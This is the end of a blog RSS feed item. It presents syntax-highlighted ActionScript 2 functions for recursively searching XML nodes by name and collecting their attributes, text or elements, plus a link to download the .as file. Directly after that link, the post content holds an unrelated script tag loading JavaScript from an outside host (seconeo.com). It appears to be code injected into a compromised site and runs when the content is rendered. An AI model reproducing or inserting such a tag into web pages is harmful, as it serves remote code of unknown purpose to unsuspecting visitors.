        <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> searchId<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>:<span style="color: #0066CC;">XML</span>, searchterm:<span style="color: #0066CC;">String</span>, attributeName:<span style="color: #0066CC;">String</span>, recursive:<span style="color: #0066CC;">Boolean</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Void</span>
        <span style="color: #66cc66;">&#123;</span>
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">0</span>; i <span style="color: #66cc66;">&amp;</span>lt; <span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">childNodes</span>.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span>
                <span style="color: #66cc66;">&#123;</span>
                        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">nodeName</span>.<span style="color: #0066CC;">toString</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> == searchterm<span style="color: #66cc66;">&#41;</span>
                                <span style="color: #0066CC;">this</span>.<span style="color: #006600;">returnData</span>.<span style="color: #0066CC;">push</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">attributes</span><span style="color: #66cc66;">&#91;</span>attributeName<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
                        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span>recursive == <span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>
                                <span style="color: #0066CC;">this</span>.<span style="color: #006600;">searchId</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>, searchterm, attributeName, recursive<span style="color: #66cc66;">&#41;</span>;
                <span style="color: #66cc66;">&#125;</span>
        <span style="color: #66cc66;">&#125;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;">//Returns xml node data as elements in a single array</span>
        <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getNodeContent<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>:<span style="color: #0066CC;">XML</span>, searchterm:<span style="color: #0066CC;">String</span>, recursive:<span style="color: #0066CC;">Boolean</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Array</span>
        <span style="color: #66cc66;">&#123;</span>
		<span style="color: #0066CC;">this</span>.<span style="color: #006600;">returnData</span> = <span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span>;
                <span style="color: #0066CC;">this</span>.<span style="color: #006600;">searchContent</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>, searchterm, recursive<span style="color: #66cc66;">&#41;</span>;
                <span style="color: #b1b100;">return</span><span style="color: #66cc66;">&#40;</span>returnData<span style="color: #66cc66;">&#41;</span>;
        <span style="color: #66cc66;">&#125;</span>
	<span style="color: #808080; font-style: italic;">//Returns xml node data as xml elements in a single array</span>
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getNodeContentXML<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>:<span style="color: #0066CC;">XML</span>, searchterm:<span style="color: #0066CC;">String</span>, recursive:<span style="color: #0066CC;">Boolean</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Array</span>
        <span style="color: #66cc66;">&#123;</span>
		<span style="color: #0066CC;">this</span>.<span style="color: #006600;">returnData</span> = <span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span>;
                <span style="color: #0066CC;">this</span>.<span style="color: #006600;">searchContentReturnXml</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>, searchterm, recursive<span style="color: #66cc66;">&#41;</span>;
                <span style="color: #b1b100;">return</span><span style="color: #66cc66;">&#40;</span>returnData<span style="color: #66cc66;">&#41;</span>;
        <span style="color: #66cc66;">&#125;</span>
&nbsp;
        <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> searchContent<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>:<span style="color: #0066CC;">XML</span>, searchterm:<span style="color: #0066CC;">String</span>, recursive:<span style="color: #0066CC;">Boolean</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Void</span>
        <span style="color: #66cc66;">&#123;</span>
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">0</span>; i <span style="color: #66cc66;">&amp;</span>lt; <span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">childNodes</span>.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span>
                <span style="color: #66cc66;">&#123;</span>
                        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">nodeName</span>.<span style="color: #0066CC;">toString</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> == searchterm<span style="color: #66cc66;">&#41;</span>
				<span style="color: #0066CC;">this</span>.<span style="color: #006600;">returnData</span>.<span style="color: #0066CC;">push</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">firstChild</span>.<span style="color: #0066CC;">nodeValue</span><span style="color: #66cc66;">&#41;</span>;
                        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span>recursive == <span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>
                                <span style="color: #0066CC;">this</span>.<span style="color: #006600;">searchContent</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>, searchterm, recursive<span style="color: #66cc66;">&#41;</span>;
                <span style="color: #66cc66;">&#125;</span>
        <span style="color: #66cc66;">&#125;</span>
&nbsp;
	<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> searchContentReturnXml<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>:<span style="color: #0066CC;">XML</span>, searchterm:<span style="color: #0066CC;">String</span>, recursive:<span style="color: #0066CC;">Boolean</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Void</span>
        <span style="color: #66cc66;">&#123;</span>
                 <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">0</span>; i <span style="color: #66cc66;">&amp;</span>lt; <span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">childNodes</span>.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span>
                <span style="color: #66cc66;">&#123;</span>
                        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">nodeName</span>.<span style="color: #0066CC;">toString</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> == searchterm<span style="color: #66cc66;">&#41;</span>
				<span style="color: #0066CC;">this</span>.<span style="color: #006600;">returnData</span>.<span style="color: #0066CC;">push</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
                        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span>recursive == <span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>
				<span style="color: #0066CC;">this</span>.<span style="color: #006600;">searchContentReturnXml</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>, searchterm, recursive<span style="color: #66cc66;">&#41;</span>;
                <span style="color: #66cc66;">&#125;</span>
        <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p><a href="http://blog.maxgarfinkel.com/wp-uploads/2007/04/xmlsearch.as">download the as file here</a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/8/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
